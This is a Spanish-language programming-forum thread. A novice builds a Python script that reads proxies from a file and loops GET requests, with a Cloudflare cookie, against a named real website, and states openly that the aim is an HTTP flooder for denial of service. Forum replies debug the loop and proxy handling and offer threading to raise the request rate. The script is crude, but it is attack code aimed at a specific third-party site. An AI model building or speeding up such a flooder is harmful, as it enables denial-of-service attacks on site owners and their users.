Nesesito hacer tipo un bucle ilimitado que cuando se termine se vuelva a repetir de nuevo, hasta que canceles presionando ctrl + c..
Otra cosa que me gustaria poder hacer es que me explicasen como puedo leer un archivo .txt con diferentes proxys desde python.. y que vaya mandando peticiones GET con esos proxys uno por uno hasta que se termine el ciclo y vuelve a empezar..
en resumen: nesesito leer una archivo .txt con proxys (una por linea) y nesesito saber como armar el ciclo ilimitadamente hasta que se corte cuando vos canceles..
Utilizo Python 3, estoy usando el modulo Requests, ¿me podrian ayudar? gracias
lo primero un ciclo infinito
while True:
hacer_algo()
donde hacer algo es lo que quieras, por defecto eso morirá al presionar control + c ya que eso es para matar el programa en consola normalmente
lo de los proxy, metes todos los proxy en una lista y con un for lo vas recorriendo, tambien puedes usar un random.choice para que no sean secuenciales
en general puede ser algo como
# ... imports y otras cosas
proxies = leer_proxies()
while True:
proxy = random.choice(proxies)
proxy = {'http': proxy ,'https': proxy }
r = s.get(url, proxies=proxy)
y eso se repetirá hasta que presiones ctrl+c para interrumpir la ejecución del programa
Cita de: engel lex en 26 Octubre 2019, 17:35 PM
lo primero un ciclo infinito
while True:
hacer_algo()
donde hacer algo es lo que quieras, por defecto eso morirá al presionar control + c ya que eso es para matar el programa en consola normalmente
lo de los proxy, metes todos los proxy en una lista y con un for lo vas recorriendo, tambien puedes usar un random.choice para que no sean secuenciales
en general puede ser algo como
# ... imports y otras cosas
proxies = leer_proxies()
while True:
proxy = random.choice(proxies)
proxy = {'http': proxy ,'https': proxy }
r = s.get(url, proxies=proxy)
y eso se repetirá hasta que presiones ctrl+c para interrumpir la ejecución del programa
muchas gracias amigo, una duda como puedo incluir la lectura del proxy y la request en cada ciclo dentro de una funcion, asi puedo llamar a la funcion directamente y hacer todo eso junto?
perdona mi ignorancia soy nuevo en Python.. pero basicamente el objetivo es que en cada ciclo envie una request get a un sitio con un proxy distinto.
AGREGO: tambien nesesitaria saber como hago para recorrer con un for y especificar el archivo .txt
Cita de: aprendiendohacking2020 en 26 Octubre 2019, 17:46 PM
muchas gracias amigo, una duda como puedo incluir la lectura del proxy y la request en cada ciclo dentro de una funcion, asi puedo llamar a la funcion directamente y hacer todo eso junto?
perdona mi ignorancia soy nuevo en Python.. pero basicamente el objetivo es que en cada ciclo envie una request get a un sitio con un proxy distinto.
AGREGO: tambien nesesitaria saber como hago para recorrer con un for y especificar el archivo .txt
ya lo que estás preguntando, es como se programa, ahi te toca estudiar como programación sobre python, lo que preguntas son probablemente los primeros capitulos
Cita de: engel lex en 26 Octubre 2019, 18:28 PM
ya lo que estás preguntando, es como se programa, ahi te toca estudiar como programación sobre python, lo que preguntas son probablemente los primeros capitulos
si me dieras un ejemplo lo entenderia mejor :silbar:
Citarmuchas gracias amigo, una duda como puedo incluir la lectura del proxy y la request en cada ciclo dentro de una funcion, asi puedo llamar a la funcion directamente y hacer todo eso junto?
def procesar():
# aquí todo el codigo que te escribí con su respectivo inicio
procesar()
XD segun tu descripción eso es, no estoy seguro que es lo que quieres, pero insisto, si no sabes hacer eso, no estoy seguro como armarás el resto del programa... arma un programa y en lo que llegues a una duda, muestra tu codigo y se te ayuda a resolver
Cita de: engel lex en 26 Octubre 2019, 18:43 PM
def procesar():
# aquí todo el codigo que te escribí con su respectivo inicio
procesar()
XD segun tu descripción eso es, no estoy seguro que es lo que quieres, pero insisto, si no sabes hacer eso, no estoy seguro como armarás el resto del programa... arma un programa y en lo que llegues a una duda, muestra tu codigo y se te ayuda a resolver
claro, pero por ejemplo como especifico el .txt y abro el txt..
nesesitaria especificar el .txt y con un for recorrerlo verdad? eso es basicamente lo que no entiendo
hagamoslo de forma manual, sin especificar argumentos.. defino una variable con la ruta y el .txt, hacelo de esa forma sencilla para que lo entienda.
https://www.google.com/search?q=leer+archivos+python (https://www.google.com/search?q=leer+archivos+python)
primer resultado
https://people.sugarlabs.org/ignacio/Python/python+3.pdf (https://people.sugarlabs.org/ignacio/Python/python+3.pdf)
file_handle = []
url = 'https://panel.brighthost.cl'
with open("files/proxy.txt", 'r') as file_handle:
lines = [line.strip() for row in file_handle]
while True:
proxy = {random.choice(file_handle[index])}
req_u = requests.get(url, proxies=proxy)
cf_cookie = req_u.cookies['__cfduid']
cookies = dict(cookies_are=cf_cookie)
r = request.get(url, proxies=proxy, cookies=cookies)
(https://i.ibb.co/hYXqYbz/Captura.png)
¿Que estoy haciendo mal? aver si alguien sabe el error
No sé de Python pero estoy viendo que obtienes un IdentationError y puede ser que en el While True las sentencias que van abajo del mismo no están identadas correctamente, hay doble tabulador cuando deberia ser 1 solo.
Cita de: kub0x en 26 Octubre 2019, 20:08 PM
No sé de Python pero estoy viendo que obtienes un IdentationError y puede ser que en el While True las sentencias que van abajo del mismo no están identadas correctamente, hay doble tabulador cuando deberia ser 1 solo.
estamos iguales amigo, basicamente de python tampoco entiendo, por eso pedia una breve ayuda
El IDE que usas te lo dice perfectamente: tienes un error de indentación en esa linea.
Por tu imagen, parece que le pusiste un espacio demás al inicio.
Es recomendable que hagas un curso desde cero en python. Usa el buscador del foro o Google (o Bing o DuckDuckGo o lo que sea) para hallar uno.
Saludos!
la linea 19 tiene un espacio extra antes de la r
por otro lado cuidado, lines no está declarado fuera del with y puedes tener resultados inesperados... declaralo antes del with como
lines = None
por otro lado no recomiendo usar un for autocontenido como en la linea 12, ya que no aporta valor al codigo y dificulta su lectura, especialmente para alguien que inicia
en la linea 15, no debes hacerle el choice a file_handle (el solo debería existir en el with con el único proposito de darle contenido a lines y no era necesario declararlo previamente, especialmente como una lista, ya que es un file handler (manejador de archivo) y no una lista), en el choice va lines
no entendi el objetivo en tu linea 18
Cita de: engel lex en 27 Octubre 2019, 00:04 AM
la linea 19 tiene un espacio extra antes de la r
por otro lado cuidado, lines no está declarado fuera del with y puedes tener resultados inesperados... declaralo antes del with como
lines = None
por otro lado no recomiendo usar un for autocontenido como en la linea 12, ya que no aporta valor al codigo y dificulta su lectura, especialmente para alguien que inicia
en la linea 15, no debes hacerle el choice a file_handle (el solo debería existir en el with con el único proposito de darle contenido a lines y no era necesario declararlo previamente, especialmente como una lista, ya que es un file handler (manejador de archivo) y no una lista), en el choice va lines
no entendi el objetivo en tu linea 18
Hola disculpa que te moleste de nuevo, estoy empezando a entender python, pero tengo una consulta, tengo este codigo que acabo de crear
url = 'https://panel.brighthost.cl'
proxy_file = 'files/proxy.txt'
proto = ''
ips = []
with open(proxy_file) as proxy:
ips = [row.rstrip() for row in proxy]
while True:
proxy = {proto: random.choice(ips)}
req_u = requests.get(url, proxies=proxy)
print(f'PETICION ESTADO: {req_u.status_code}, PROXY {proxy}')
cf_cookie = req_u.cookies['__cfduid']
cookies = dict(cookies_are=cf_cookie)
r = requests.get(url, proxies=proxy, cookies=cookies)
Aca tambien dejo una foto
(https://i.ibb.co/cQgcMtx/Captura.png)
basicamente el funcionamiento es que dentro cuando ejecutas el script recorre la lista de los proxys y los guarda en un array, luego se mete en un bucle infiniito donde envia una primer peticion get y obtiene el cookie de cloudflare en este caso las cookies de cloudflare siempre suelen empezar con el nombre __cfduid
despues de eso guarda la cookie y su contenido en la variable cookies y por ultimo envia una segunda peticion GET con el mismo proxy y la cookie Asignada..Ahora bien, basicamente supongo que te daras cuenta a lo que quiero llegar, lo que estoy haciendo o quiero lograr es un HTTP flodder, el prolema de esto es que el ciclo es demasiado lento, es decir, envia las peticiones 1 cada 1-2 segundos.. y no es suficiente la rapidez, nesesito auncrementar la velocidad del ciclo para que se repita mucho mas rapido, no se como podre lograr esto si tendre que hacerlo en un while o dentro de otra funcion.. pero basicamente quiero este mismo proceso pero mucho mas rapido.. vos me podras dar un ejemplo de como podria hacerlo?
Gracias
quieres correr antes de aprender a caminar... lo que buscas se llama ejecución multi hilo (multi thread)
de antemano te digo, cloudflare conoce mas proxys publicos que tu y es capaz de aguantar ataques de centenas de GBps (incluso si vez los temas relacionados, este foro soporta ataques en el orden de los GBps sin problemas)
ojo que hay un monton de cositas relacionadas para entender los errores que tendrás pero basicamente va así
import threading
import time
def imprimir_mensaje(msg):
time.sleep(1)
print(msg)
mensajes = ["hola", "mundo", "otra cosa", "otro mas"]
for mensaje in mensajes:
threading.Thread(target=imprimir_mensaje, args=(mensaje,).start()
print("mensajes enviados"